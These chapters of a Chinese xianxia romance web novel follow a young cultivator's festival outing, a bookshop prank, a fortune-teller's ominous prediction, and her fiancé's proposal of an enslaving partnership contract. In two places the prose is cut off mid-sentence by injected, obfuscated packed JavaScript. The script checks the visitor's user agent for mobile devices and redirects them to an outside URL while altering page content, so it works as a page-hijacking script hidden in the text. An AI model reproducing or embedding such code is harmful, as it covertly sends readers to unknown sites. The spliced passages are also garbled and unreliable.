《逃婚途中遭遇老魔头》 2. 极恶魔星 修真者不讲究饮食,到达胜境后断绝烟火,隔几天吃些灵果充饥,再往后则无须进食。修士的居所不设庖厨,偶尔招待亲朋只用灵植、香茗、佳酿设宴。 乔淡月还是凡人,一日三餐缺不得。当晚冉彤派一只玳瑁斑竹做的傀儡猫飞去街上的凡人酒楼买来饭菜,又请乔淡月喝用酴醾花露和琥珀蜜酿的甜酒。 那甜酒甘香可口,乔淡月喝着有如琼浆玉液,不觉将整壶都喝光了,凡体受不住酒中灵气,稍后醉醺醺沉睡过去。 冉彤使净尘诀替她清洁更衣,挪到床上安歇。 其时夜凉如洗,天青气朗。耿耿银河似白练横贯霄汉,倾落满地寒光。 庭院里的繁星花沐浴星辉,一簇簇蚕豆大的花朵莹莹发亮,冰蓝透粉的清光照彻四周,光线比屋内点的犀角灯更柔和。 冉彤索性熄了灯,将窗前的水晶帘挂回珊瑚钩上,靠室外的花光星光照明。然后散开发髻,拿起木樨梳梳理青丝,一只白色的小鸟忽然扑腾着飞入窗棂落在她掌中,顷刻褪去羽毛变成折法简易的纸鸟,是未婚夫云宿雨从八百里外昌宁城发来的书信。 冉彤惊喜拆看,表哥说明日午后会来烈阳看望她,约她在南门街市碰头。 距离他们的婚礼只剩十二天,照规矩双方不该再私会,二人已整整一个月没见面,冉彤很想念云宿雨,相信恪守礼仪的表哥也是耐不住相思才悄悄用遁光传书幽会。 看他在信的末尾连写三个“切记”,生怕她拒绝,冉彤的犹豫还没冒头就被甜蜜打散了,别说什么来日方长,情到深处,一朝一夕都不愿错过。 她捧着信笺乐呵半天,差点漏了桩正事,想起来后立马揭开铜镜上的禁制,召云姑来问罪。 金光一闪,镜面上显出一个云鬓高耸,粉脸桃腮的美艳女郎。 冉彤见云姑柳眉倒竖,急怒盈面,毫无畏罪之态,不由得来气,先劈头一顿数落。 云姑一改恭敬,振振有词辩驳:“那黄毛丫头还入不了婢子的眼,婢子是看出她将会横刀夺爱,抢走您的丈夫才愤然用金针刺她。” 冉彤不假思索啐责:“你少胡说,小师妹还是个孩子,又刚来我家,根本没见过表哥,怎可能做这种事?别以为撒谎欺哄就能躲过去,你越这样我越要罚你!” 云姑不露惧色,着急道:“小姐,婢子服侍您这么些年,几曾骗过您?婢子第一眼看到那丫头时她是少妇年纪,正和云少主依偎说笑,这分明是不祥之兆啊。当初滴血铸造这面镜子的女修士精通占星术,能预知未来。婢子分得她些许灵力,偶尔有所感应。还记得老爷和夫人过世时吗,婢子也是提前看到了征兆啊!” 父母故去不久,云姑曾对冉彤说某天夫妻俩揽镜自照时,她目睹原本春风满面的二人突然间神色黯淡,眼眶里同时涌出血泪,情状俨若亡灵。 修真界法术千奇百怪,每一件修炼精通了都能有大作为。 唯独占卜之术已没落上万年,据说上古以后天地气象变迁,流传下来的占卜术全部失灵了,再无人能准确测算未来。如今只好拿来糊弄凡人,真正的修士都不屑采信。 冉彤一直认为父母死前曾露凶兆这个说法是云姑故意编出来开导她的,此刻更认定她在危言耸听,越发严厉呵斥:“你这刁奴还不知悔改,表哥是我至亲,小师妹纯良无辜,你居然红口白牙污蔑他们,是我平时太和气,镇不住你了吗?再敢狡辩,当心我用神雷劈你。” 云姑毕竟怕主人,哑口片刻,畏缩嘟哝:“小姐不听劝告,婢子恐怕凶兆不久后即会应验,您毫无防备,事到临头再后悔便晚了。” 冉彤烦躁发怒,再次用鲛绡封印铜镜,勒令云姑禁闭反省。 完事后她闷闷不乐,到院子里坐下,取出一对三寸高的男女木偶摆在石桌上,向其注入灵力,两个人偶挥舞肢体,摇头晃脑互动起来,嘴唇开合,发出人声。 那妩媚女娘妆扮的人偶娇滴滴骂:“好负心的冤家,昨夜叫我空等半宿,今日好不耐烦,莫非你变了心,另有了相好的?” 那书生扮相的男偶急吼吼哄慰:“小生岂敢变心,承小姐相怜垂盼,小生纵然粉身碎骨难报美意,昨儿家母忽然抱恙,小生委实走不开。今早看她病情稍缓便立刻抽身出来,一路上恨不得背插双翼,赶来见你。 女娘深深幽叹:“唉,你只顾令堂微恙,再不管奴家已病入膏肓。” 书生会意央告:“小生与小姐同病相怜,愿互换灵药救我二人的顽疾。” ……………… 自打冉彤迷上紫烟散人的小说,便见猎心喜地开始学写故事,让云宿雨帮忙制作了好些木偶优伶,效仿紫烟散人编写剧目,以灵力驱使偶人排演。 这自娱自乐的游戏很适合抒怀解闷,演了一阵她的心情重回明朗,见男女偶人深情相拥,不禁捧着下巴联想起往常与表哥温存的情形。 可比这旖旎多了。 提起二人的姻缘实属阴差阳错。 昌宁云氏古来便是枫林州修真界的郡望,与烈阳冉氏世代联姻,云宿雨是冉彤姑姑的儿子,今年已120岁了,照常情讲该与冉彤的两位堂姐结亲。 然而云宿雨从小修炼家传秘术“先天固元功”,六岁起身体停止生长,保持百年幼童体态,到106岁再次发育,这期间没法婚娶。 冉彤出生时云宿雨外表还是稚童,冉彤的父亲很疼爱这个外甥,常接他来家中玩耍。 云宿雨初见咿呀学语的冉彤就很喜欢,争着帮舅舅舅妈照顾她。 兄妹俩青梅竹马,相伴成长。 云宿雨对小表妹有求必应,无限宠爱,冉彤也习惯依赖温柔稳重的表哥,多年来如胶似漆,好到你离不开我,我舍不得你。 两家人见状一合计,干脆给二人订了亲,这还是冉彤双亲在世时的事。 大部分女修士为方便修行都选择独身,若有了意中人至少得等到五十开外,修为小成之际再与对方缔结道契,如果像凡人那样早婚,恐不利自身。 冉彤早前计划修为突破至净境后再出嫁,去年初云家突然催婚,理由是云宿雨即将闭关冲击化境中期,早点了却结缡之愿,闭关时可减少心魔滋扰。 冉彤一心一意爱表哥,能早日与之成双对也不错,欣然应允了。 伯父伯母反倒不愿意,数次推诿将婚期延迟到这个月底。 冉彤知道二老疼惜她,云家家业大、规矩多,云宿雨作为少主肩负家族兴衰重担,被族人寄予厚望,做他的妻子可不是什么清闲事,嫁过去没准会遭罪。 冉彤对此保持乐观,表哥那么爱她,绝不会让她受委屈,再说云家的长辈她都熟,多是和蔼可亲的有德长者,且个个疼她,想来婚后再严格也不至于苛待她。 所以说云姑纯粹在胡说八道嘛,我是不清楚小师妹的为人,但对表哥知根知底,他才不会对我背信弃义。 一夜无事,次日秋阳炳粲,碧空万里。 晨鸟高飞时,烈阳城的赛神节拉开序幕,这节日在人界沿袭数万年,依据各地风俗习惯,规模形式各有不同。 枫林州是人界十州里幅员最广,人口最稠密的州,东临内海,与五州接壤,远离妖族聚居的区域,位置得天独厚。境内平原肥沃,森林物产丰富,海陆商贸发达,历来是天下富庶之地,这赛神节自然比别处办得隆重。 烈阳是枫林州第二大都市,人们更注重节日排场,满城街巷里提前张挂驱云幡,以确保当天晴好无雨。 辰时一到城内家家焚香设火,户户结彩铺毡。街市里鼓乐喧阗、爆竹声嚣,修士凡人们成群结队涌来看祝神游行。 游行队伍分两拨,地面上的由三千凡人青壮组成,这些精挑细选的健儿穿着五彩缤纷的华服,扛旗担幢,敲锣打鼓,运送金碧辉煌的诸神塑像和花团锦簇的供桌沿着城内的主路祝唱游走,浩浩荡荡,如长蛇蜿蜒,难望首尾。 天上的队伍与地面平行,成员是烈阳各大宗门的弟子,个个清一色身穿大红法衣,头戴金银冠,沿路撑起彩旗、红绸和花灯交错构成的仪仗。 有的不断往下抛洒花瓣和糖果,有的念诵咒语,为到场的凡人们赐福除秽,有的驱赶灵兽,驮载神像巡游。 只见漫天瑞霭纷纭,祥光缭绕,嗅不尽的兰麝馨香,百花芬芳,看不完的舞鹤翔鸾,飞龙走凤。 那些飞在半空的神像比地面上的更庞大华丽,其中体型最巨的是一座由十头双翼虎拉载的白衣秀士模样的神像。此像高达三丈,用整块白玉雕琢,日照下光芒万丈,夺睛耀目。 冉彤正领着冉怀璧和乔淡月看热闹,冉怀璧负责为乔淡月解说,指着那白衣秀士像道:“这是我们枫林州的守护神鸿恩仙尊,刚才路过的光明神宫里供奉的主神就是他。” 这时位于鸿恩仙尊神像下方的凡人仪仗队正护送一尊泥塑神像走来。 乔淡月见那神像与众不同,身长丈二,披着蛇鳞黑甲,青面獠牙,牛眼狮鼻,满头红发好似火焰喷发,在鬼怪里也算奇丑的。 乔淡月疑惑那是什么神。 冉怀璧说:“他叫护法天魔,是鸿恩仙尊的弟子。相传他生下来就是这副妖怪长相,被父母丢弃在森林里,幸得鸿恩仙尊收留抚养。他对鸿恩仙尊极为敬爱,见仙尊为救世人历尽苦难,后来又连遭愚顽无知的凡人伤害,激愤之下入魔,肆意屠杀众生,在人界掀起偌大一场浩劫。众神本欲翦除,鸿恩仙尊不忍他毁身灭魂,便剖开中元宫,放出心头血净化他的煞气,终于使其改邪归正,成为仙尊座下第一护法,时刻追随左右。凡有仙尊神位的地方必有他的塑像。” 乔淡月聆听时不经意地瞟了瞟冉彤,发现她的神色突然变得很难看,满面厌恶不耐,似乎憋着一腔邪火。 昨天乔淡月以为冉怀璧那句戏言连累自己得罪了冉彤,此刻见冉彤背着她变脸,又误会她余怒为消,内心很不安,听着身旁的鼓乐声也像打雷。 其实冉彤哪里计较这个,她从小讨厌那护法天魔,第一次跟父母参拜光明神宫,就被那丑恶的天魔像吓得心惊肉跳,直至今日仍消除不掉这种难受的不适感,抓住乔淡月手腕说:“这里没什么好看的了,我带你去参观真正精彩的节目。” 乔淡月丝毫不敢违拗,忙跟她走。 空中的仪仗队恰好洒下漫天符咒,冉怀璧随手捞了一张塞到乔淡月手里。 “待会儿场面可能很吓人,这张护身符你拿好,别弄丢了。” 乔淡月不明用途 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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三人抵达时已然观者如山,校场中央伫立一座高耸入云的黄铜大鼎,乔淡月见鼎下放在堆积如山的纸扎人偶,听冉怀璧说那些是凡人们投献的“极恶魔星”像,忙仔细观察。 每个人像都粗壮魁梧,丑陋狰狞,密密麻麻堆叠着,叫人瞧一眼胆寒,看久了作呕,想来那无恶不作的魔头就该是这副神憎鬼厌的嘴脸。 稍后仪式开始,数百修士环绕大鼎凌空悬停,打开各自收妖捉怪的法器,将许多凶妖恶鬼投入大鼎,随后一齐做法。 霎时云生东南,雾起西北,滚滚黑云遮蔽会场上空,沸腾的人声瞬间寂静,有经验地赶忙捂紧双耳,缩脖耸肩,忐忑又兴奋地凝望那口迅速发红发烫的大鼎。 蓦地,惊雷成阵,万道银蛇绕鼎飞旋,大地震颤,强烈的轰鸣声犹如峰峦崩摧。 乔淡月冷不防一抖,阵阵颤麻从脚底直透顶阳骨,她毛骨悚然,几乎晕厥,慌忙捏紧那道护身符,一股灵力笼罩全身,噪音和晕眩感减轻不少。 她怕得不敢睁眼,冉彤搂住她的肩头鼓励:“没事的,你快看那些修士们是如何击杀妖鬼的,以后你也能做到。” 乔淡月勉强眯着双眼窥看,鼎下的纸人烧成火山,大鼎被火光电光包裹,鼎内妖魔精怪们惨嚎震耳,被雷火之术烧得皮焦骨化,魂魄飞散。 鼎口腾起浓浓黑烟,恶臭弥漫数里,没拿到护身符的凡人都被熏得头晕呕吐,幸好有修士四处分发解毒丹药。这是每年免不了的灾殃,遇上了只怪自己疏忽大意。 仪式持续了一刻钟,烈阳境内近一年捕捉到的坏妖厉鬼均被处决,预示着来年风调雨顺,人寿年丰。 观礼的凡人们一齐额手相庆,虔心礼赞,潮鸣般的欢声中,来自离恨天的使者降临会场,代表离恨天向烈阳的凡众宣读赐福诰书。 乔淡月长在深山也熟知离恨天的威名。 这个号称人界第一宗门的大派数万年来负责侍奉人界唯一真神“太上大罗道祖”,替道祖传教布道,是万法首领,修真界龙头。 所有正道门派统一归附于离恨天,服从其号令调度,各宗门继承人想名正言顺继位必须得到离恨天的认可,权力之大相当于凡间的君王。 冉怀璧欣欣向往地仰视云端上的尊使,对乔淡月说:“离恨天有时会挑选各门派的精英弟子收入门下,乔师姐我们一起努力,争取有朝一日加入离恨天,若再有幸受道祖指点,准能长生不老,成为名扬天下的大修士。” 冉彤奚落:“你别误导人家了,修行最忌好高骛远,都像你走路不稳就想高飞,如何能精进?” 再抚着乔淡月的脊背告诫:“我冉家的功法虽称不上最强,学透彻了也不落人后,你踏实钻研,日后若遇机缘,造化多着呢。” 乔淡月感受到她的真诚和善,戒惧终于消退,感激地点头道谢。 接下来还有一些助兴的法术表演,冉怀璧没心思看了,催促冉彤去书坊办正事。 冉彤架起风遁,带二人来到那书坊,瞅准店内无人光顾,冉怀璧施法将自己变成前日的少年书生,冉彤则摇身化作龙钟老妪,惹得乔淡月惊讶赞叹。 冉彤压着嗓门发出苍老笑声:“这只是低级的障眼法,你摸摸,我其实还是原来的样子。” 乔淡月伸手摸她脸上的皱纹,触感光滑,不存一丝褶皱,果然没有实质的变化。 “臻境以上方可掌握移形换影的法术,我们少说还得修行几十年呢。” 冉彤让乔淡月在店外等候,随地捡了根树枝变成拐杖,和堂弟伪装成祖孙俩,一手扶着他的肩膀,一手拄杖,向店门走去。 3. 算命 书店内人籁俱无,店主爬在柜台上打瞌睡,一座自鸣铃挨着他的脑袋摆放。 这种凡人商户必备的低阶法器能监察店铺内的动向,若有人实施偷盗便会尖锐长鸣,如果来的是顾客,则会发出轻柔细微的铃声。 店主被铃声唤醒,冉彤不等他揉开睡眼,抢先伸出拐杖啪地敲在柜台上。 店主老于世故,见来人是个凶巴巴的老太婆,身后跟着前日买小说的书生,顿时明白二者来意,假笑应付:“老夫人想买什么书呀?本店书籍门类齐全,还有很多珍稀的绝版孤本,欢迎二位挑选。” 冉彤黑着脸说:“我孙子前天在你这儿买了一本小说,可有此事?” 店主看看冉怀璧出示的小说,保持微笑:“的确是本店售卖的,有什么问题吗?” “问题大了!” 冉彤拿过小说捏在手里,开始厉色声讨。 “你卖书时不说明书分上下册,只卖上册给他,等他发现来买下册时又坐地起价,索要三倍的价钱,这分明是讹诈!” 店主淡定辩解:“您这话可笑,本店的书从来明码实价,您孙儿自愿付钱,可没人强迫他。再说他也没问过这书是不是分了上下册啊,我每天应酬那么多顾客,哪能处处照应周到,要怪也得怪他自个儿马虎不是?” 冉彤冷笑:“这事就算你勉强说得通吧,可你下册加价到三百两是怎么回事?一头猪剖开卖,两半都该一样的价,哪有另一半贵出三倍的?” 店主冷笑狡辩:“您老是一生享清福,没管过家务吧?这猪后腿可比猪头贵多了,有时还不止贵三倍呢。” 冉彤训斥:“再贵也贵不到三百两!别以为我年纪老迈,我孙儿憨厚,就会任你欺哄摆布。识相的快照原价把下册卖给我们,否则打今儿起我就坐在店门口,逢人便说你是如何坑人宰客的,看你还怎么做生意!” 做正经买卖的人最怕无赖,店主不禁着恼,怒道:“老乞婆别给脸不要脸,我在这儿开店十几年,什么阵仗没见过?就凭你这把沤馊了的老骨头也敢威胁我,我拳头一伸就能送你去地府!” 冉彤喜他会接茬,拐杖顿地,单手叉腰对骂:“老太婆还真活腻了,有种你动手,我今天索性死在你店里,不但省下棺材本儿,还能给家里大赚一笔!” 冉怀璧知道冉彤会演戏,此刻看她现场实践,把个市井泼妇演得惟妙惟肖,比想象的还生动,心里别提多开心,忍笑忍到腮帮发酸,连忙转身隐藏。 店主指着他斥责冉彤:“连你孙儿都看不下去了,这么大年纪怎就不积德呢?” 冉彤扬首啐道:“似你这般缺德,休想活到我这岁数!奸商只会欺负年轻人脸嫩,我这张老脸早就刀枪不入了,看看今日谁怕谁!” 话音未落,店主身后的布帘掀动,钻出一个中年妇人,冉怀璧认得是书坊老板娘,忙用神识传音告知冉彤。 这老板娘是远近有名的悍妇,骂遍左近无敌手,在后面观战多时,气不过冉彤撒泼,冲出来为丈夫助阵,亮相便指着冉彤的鼻子呵斥:“死老太婆,你是不是成天捧着夜壶当茶壶?嘴这么臭,我躲在屋里都快被你熏吐了!” 冉彤看出是个厉害对手,捏着鼻子还击:“你才是刚刚舔过马桶吧,苍蝇闻着这味儿都能晕死过去。你丈夫是奸商,你身为贤内助,自然也是个黑心的主,今天老身非要做做好事,度化了你们!” 老板娘仰天大笑:“明明想占便宜还说自己在做好事,你可真会颠倒黑白。出去打听打听,这条街谁不知道我家做生意最公道诚实?紫烟散人的书本就珍贵,三四百两都算贱卖了。看你心疼成这样,你孙儿买书的钱多半是偷拿了你棺材的本儿吧?要想拿回去也行,爬下学几声狗叫,老娘就当给我家养的畜生收尸了。” 冉怀璧没受过这种气,大怒还嘴:“你这妇人太蛮横了,真真狗嘴里吐不出象牙!” 老板娘欺他是青涩后生,恶意戏辱:“小相公别发火,我知道你喜欢这套小说,无奈手头不宽裕,拿不出三百两银子买下册。看你眉清目秀,白白净净,去对街的翠衣楼找个有钱财主认干爹,莫说三百两,三千两都不在话下。” 凡人里流行男风,翠衣楼是烈阳最大的娼馆,蓄养了众多妓女娈童。 冉怀璧一知半解也给气懵了,传音冉彤,说要给这婆娘点颜色瞧。 冉彤不耐跟下作人逞口舌,决定亲自动手,当下默念咒语,少时店门口走进一位摇曳生姿的美艳女郎,怀里还抱着个熟睡的婴儿。 店主夫妇注意力转向女郎,正要打招呼,女郎直奔店主跟前,将婴儿用力往他怀里一抛。店主慌忙接住,莫名其妙地望着她和惊醒啼哭的孩子。 女郎指着老板娘开骂:“没良心的,说好要休了这泼妇娶我做正室,哄着人家给你生了儿子,如今倒不认账了。我今天专程带这孩子来认爹,你若敢不兑现诺言,我们母子便当场死在你面前!” 店主如遭雷击,心里灌满浆糊,嘴巴也给黏住了。 悍妇通常擅嫉,无风尚起三尺浪,何况大风大浪直接刮到家门口。 见此场景,老板娘的精明劲儿荡然无存,认定丈夫背地里金屋藏娇,上前揪住店主胡须头发凶狠打骂。 店主百口莫辩,挣扎着想将婴儿还给女郎。 女郎灵活闪躲,一面痛斥他负心薄幸,更列举了一连串他过去行骗的甜言蜜语,气得老板娘三尸暴跳,操起鸡毛掸子追打店主。 冉怀璧明白这是冉彤耍得把戏,佩服她蛇打七寸,姐弟俩闪在一旁看热闹,不时说两句话煽风点火。 吵闹声吸引邻居和路人前来围观,冉彤装模作样向他们解说:“这店主瞒着老婆在外面养女人,那小娘子说他始乱终弃,刚才抱着孩子来认爹,老板娘肺都气炸了,两口子不知道如何收场呢。” 熟人们讨厌这家的女人泼悍,巴不得这场好戏,正指指点点戏谑议论,一个壮硕的黑衣男修士拨开人群挤进来,吹着浓须吼问冉彤:“哪儿来的妖人在此作祟?!” 那艳丽女郎应声倒地,变成一把破扫帚。 众人大惊,店主感觉怀中异样,低头看时,那蹬腿哭闹的婴儿不见了,自己正抱着一只煮药的陶罐。 他吓得松手,罐子落地摔成几瓣。 一位邻居认出是自家器皿,惊叫着跑去查看,罐子底部还沾着一层药渣,是他早上剩下的。 那男修破了冉彤的法术,随即施法让她和冉怀璧显出原形,他修为在臻境以上,冉彤来不及抵抗,被现场好些人认出来。 “这不是冉家三小姐和小少爷吗?怎么跑来这里捉弄人?” 正派修仙者爱惜羽毛,不干涉打扰凡人的生活,像冉家这种修真世家教养更严,历来禁止门人对凡人滥用法术,否则传出去定然有辱门楣。 店主又气又怕,忙不迭冲姐弟二人叫苦:“冉少爷,你想要这套书,明说让小的送您就是了,何必搞这恶作剧呢?” 老板娘压不住气性,紧跟着流泪喊冤:“我们在烈阳住了半辈子,每月按时交纳供奉,从没短了冉家的,为什么今日这般欺凌我们?小妇人愚莽,明日定要去贵府向各位掌事的仙师讨个公道!” 看客们也改换嘴脸帮她抱不平,年长的直接埋怨冉彤:“三小姐,听说您快跟昌宁云家的少主成婚了。云家门风清正,对门人约束极严,若知晓此事该如何看待您呀?您这么做太欠考虑了。” 冉彤也怕损害云家名誉,连累云宿雨蒙羞,急忙向四周投掷忘忧散,然后拽着冉怀璧遁逃。 忘忧散能清除凡人的记忆,店主等人吸入此药立刻忘记三个时辰内发生的所有事,一时面面相觑,疑惑大伙儿为何会聚在店里。 那黑衣男是名散修,听说冉彤和冉怀璧是名门之后,也怕得罪人,因此没拆穿他们,稍后默默离去了。 冉彤和冉怀璧逃到百丈以外的小巷里方停住,她懊悔此番丢人丢大了,郁闷嗔怪:“早说烈阳不是小地方,各处都有修士走动,这下可不闹出大笑话了?” 冉怀璧也很后悔,慌张道:“忘忧散对那黑衣人无效,他要是去找母亲告状,我准得屁股开花。” 冉彤白他一眼,终究不忍心地安抚:“不会的,他刚刚任我们脱身说明不想掺和这件事,日后若遇上了只要他不来纠缠,我们装不认识就完了。” 冉怀璧担心她的处境:“他若大嘴散播出去,坏了你的名声,云家会不会为难你?” 有他这句话,冉彤就不觉得吃亏,弹他一个爆栗说:“表哥会护着我的,倒是你,从此把这事丢开吧。往后心思多花在修行上,别忘了你是冉家的长子。” 冉怀璧丧气地直抠后脑勺:“知道啦,我就是舍不得那长嬴法师,好想看到完整的故事。” 冉彤何尝不想,叹气道:“紫烟散人向来体量读者感受,定会给他一个好结局,而且有缘的话以后也不是不能买到下册。” 她释放神识寻找乔淡月,发现她在书坊东侧街市的算命摊子上,找过去时正在那儿聚精会神听算命的老太婆胡侃。 冉彤认为算命等于行骗,修真者绝不该跟这些下三滥打交道,冷着脸招呼乔淡月:“小师妹你怎么在这里?快跟我回家。” 她无视摊主带乔淡月离开,走出半条街后停下教训她。 “小师妹,我们修士从不信占卜,这些在凡人街市上摆摊算卦的都是骗子,被其他门派的人看到会笑话冉家的。” 乔淡月惊忙道歉:“我不知道这些规矩,也没想去算,是那老婆婆主动招呼我,硬要帮我算的。” 她小心观察冉彤的脸色后犹豫着转话:“不过她确有一些真本事,我一句话没透露她就知道我是从哪儿来的,还说出我好几桩过往经历,连我爹娘的生辰和性格她都算准了。” 冉彤嗤之以鼻:“这种老骗子长年行走江湖,阅历深见识广,极会察言观色,多跟你交谈几句,连猜带蒙也能打准几件事,专哄你这样的单纯人。占卜术早在上万年前就失灵了,连太上大罗道祖都说他只知过去不知未来,还有谁能强过道祖吗?你刚入修真界,很多事还须慢慢了解,懂得多了才不会受骗上当。” 冉怀璧正想附和堂姐,那算命的老太婆竟尾随跟来,笑眯眯向冉彤行礼。 这是个没有灵根的凡人,年过七旬,仿佛干枯的核桃,每一寸裸露的皮肤都皱巴巴黄焦焦的,一张嘴露出稀稀拉拉几颗荒原孤塚般的烂牙,浑浊的老眼藏在深深的皱纹里,眼神市侩狡诈,招人厌恶。 冉彤不想理睬,老太婆无视她显而易见的排斥,盯着她的脸自说自话。 “哎呀呀,这位姑娘面相不凡,必然大有作为哪。不久即将嫁得如意郎君,夫妻恩爱,是羡煞世人的神仙眷侣。” 冉怀璧讥笑:“你少在这儿卖弄,定是认得我彤儿姐姐,知道她马上要跟云表哥成亲才说应景的话骗人。” 老太婆莞尔:“老身刚到烈阳,人生地不熟的,今日初见三位,哪能提前知晓你们的底细?实实是用黄公相面法相出来的。” 黄公名叫黄渡,是上古时代的神仙,著有《黄公相术》等占卜书,久已失传,如今流传的都是赝本。 冉怀璧反驳:“你瞧仔细了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14084598|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们是地地道道的修士,可不会受凡人糊弄。” 他态度很不客气,老太婆半点不怯,依然笑呵呵的。 “小仙师莫要急躁,老身虽无道行,肚子里也有几分真才实学。方才还没说完,你这位姐姐这辈子要嫁两次,第一次婚姻无疾而终,第二次才是正缘,且夫婿年纪比她大很多,各方面条件都是第一位丈夫望尘莫及的……” 她胡吹别的尤可,万不该拿人家的婚姻说事,立刻激得冉彤勃然大怒,瞪眼詈骂:“我这师妹方才没给你卦金,也不至于让你追过来诅咒我。造口孽当心遭报应!” 老太婆赔笑:“姑娘息怒,老身说的分明是喜事,怎么就成了诅咒呢?后面还有几句忠告,你这个样子吓得我都不敢说了。” “那最好,闭紧嘴巴回去摆你的摊吧!” 冉彤气哼哼扔给她十文钱,老太婆接住道谢:“姑娘这么大方,老身冒死也要提醒您。您虽然后福无穷,可眼前就要大祸临头,不设法化解恐性命不保。” 冉怀璧先替堂姐发飙:“老骗子还敢胡说,真当我们不敢教训你么?” 老太婆指一指乔淡月:“人命关天老身怎会胡说?你问问这位小姑娘,老身刚才替她算得准不准?” 乔淡月被架到火上,窘促地直往后缩,半是央求半是劝解地对冉彤说:“小师姐,我们别理她了,回家吧。” 冉彤刚在书坊闯了祸,不愿再惹纠纷,目示冉怀璧走人。 老太婆不死心地吓唬:“姑娘莫要讳疾忌医,老身实实没撒谎,不信你且往前走出百步,定有祸事降临。” 晦气话像石头砸在冉彤背心,奈何大庭广众下不能失却世家子弟的体统,只得隐忍着不同她计较。 三人沿街前行,冉怀璧骂骂咧咧,冉彤一声不吭,乔淡月仿佛被冰块和火炉夹在中间,恨这条路太长,只想早点回到住地,找个自在去处喘息片刻。 堪堪走出百步左右又遇上护送神像的游行队,打头的正是护法天魔的塑像。 三人靠边避让,突然平地刮起一阵狂风。 起初播土扬尘,随即飞瓦撼树,凡人们都抵挡不住,被吹得满地抱头乱滚。 在场修士们急忙催动定风咒语,可那天魔像已被大风托举得腾空飞出数丈远,朝着冉彤等人迎面扑来。 冉彤正在气头上,目睹那狞恶的神像,心火陡起直冲泥丸宫,不觉催动雷击之术,哗啦一声将那木刻的神像劈成无数碎片,随风四散而去。 怪风乍起乍止,护送天魔像的凡人见冉彤打碎神像,匆匆奔跑上前围住她讨说法。 “这位仙姑,你施法定住神像就好,怎能随手毁去呢?实是大罪过啊。” “不瞒您说,这神像是众位街坊凑钱捐造的,价值上万两,如今损毁,叫我们如何向众人交代?” 那神像是千年清香木质地,贴满金银饰片,镶嵌若干贵重宝石,造价上万并非浮夸。 冉彤自愧失手,承诺如数赔偿,让他们明日去冉家取钱。 众人听说她是冉家三小姐,云家未来的少夫人,唯恐开罪她,忙说好道歉地散了。 冉彤看这阵风来得蹊跷,怀疑是那算命老婆子捣鬼。 冉怀璧说:“刚才我仔细观察,她真是凡人,身上没有一点灵力,怎能掀起这么大的风势?” “哼,她或许和修士勾结,暗中捣鬼欺诈。” 三人转回去找那老太婆对质,到了她摆摊的地方,连人带物都消失了,用神识探查也搜寻不到踪迹,冉彤更断定对方有鬼,决计不能轻饶了她。 这时脑中忽然响起云宿雨的神识召唤。 “彤儿,我在怡然桥,快来。” 表哥轻柔动听的声音似清风解怀,冉彤跫然欣喜,打发冉怀璧和乔淡月先回家,赶去与云宿雨会合。 怡然桥位于烈阳南郊,桥畔枫林环绕,清幽僻静,是情侣幽会的好去处。 冉彤御风飞至怡然桥,远远望见桥头上清癯飘逸的白色身影。 表哥喜欢深色衣服,冉彤说他最适合穿白色,他每次见她便都穿白衣。 冉彤说纯白的衣服太单调,他就在衣服上加一些美观大方的纹饰。今天的外袍上绣了几只姿态灵动的大红金鱼,正是冉彤前些天送他的荷包上的绣样。 表哥处处迎合她的喜好,冉彤看了别提多美,落地后欢呼着奔向他。 云宿雨老远张开双臂迎接,抱住她举起来转了个圈。 这习惯是他们自小养成的,冉彤觉得父母去世后表哥的怀抱就是世间最温暖安全的处所,能这样相携终老,此生便无憾了。 在云宿雨胸口惬意地窝了一小会儿,她抬头端详他的脸。 云宿雨也认真凝视她,他温柔的眸子是纯净的冰蓝色,据说蓝瞳的人根骨纯粹,最适合修仙。 小时候冉彤不懂这些,只知道蓝眼睛的表哥十分好看。面容似画家悉心描摹,肌肤如明珠洁白无瑕,换上女装比堂姐们都漂亮,于是戏称他“美人姐姐”,被他轻轻捏住脸说“淘气”。 长大后发现他温润如玉的美好品质比外表更动人,爱慕由此萌发。庆幸长辈们有心,玉成良缘,亦喜两情相悦,表哥爱她之心更深更切。 从他今日私自来访可见一斑。 “表哥,家里人知道你来见我,会不会说你啊?” 云宿雨温柔摩挲冉彤的小脑袋,眷恋之情似乎更胜往昔。 “不要紧,我有很重要的事,必须在婚礼前见到你。” “什么事呀?” “……想在今日同你缔结道契。” 4. 结为道侣 出人意料的提议令冉彤的杏眼更大更圆。 “这是婚礼中的步骤呀?” 云宿雨搂着她微笑:“我想用另一种契符。” 适用于修士缔结道侣的契约不多,常见的有“同心契”、“参同契”、“坎离合一契”,效用是确保双方相互扶持,忠贞不渝。 云宿雨向来循规蹈矩,忽然生出这个念头,可算标新立异了。 冉彤听说他想改选“生随死殉契”,大吃一惊。 这契约达成后,制定契符的一方便对另一方拥有绝对的掌控权,可任意吸取对方法力,若遇性命危机,神魂受损,另一方会自动贡献元神加以补救。 由于太不平等,带有强烈的奴役性质,只有那些压榨炉鼎的邪修才使用。 冉彤尚未回过神来,云宿雨捧起她的右手,将一支玄鸟羽毛做的符笔放在她掌心。 “彤儿,你来定契符。” 冉彤像被火炭烫到,差点缩手,朝着他慌惚顾盼,明明是无话不谈的亲密关系,此刻竟迷惑得开不了口。 云宿雨见吓着她了,忙捧住她的脸解释:“我向二舅和二舅母发过誓,要好好保护你,想来想去,只有用这种方式才稳妥。” 表哥的挚诚毋庸置疑,他对爱人的大方体现在方方面面,以前就曾为了救护被妖兽偷袭的冉彤不顾性命,连长辈们都调侃他是个情种。 冉彤父母恩爱,她自小耳濡目染,明白夫妻之情贵在患难与共,单方面的索取很自私。 她对云宿雨一片真心,不愿承受这份自私的权益,急忙摇头:“表哥,我会勤奋修行,早日提升境界,你不用为我做这么多牺牲。” 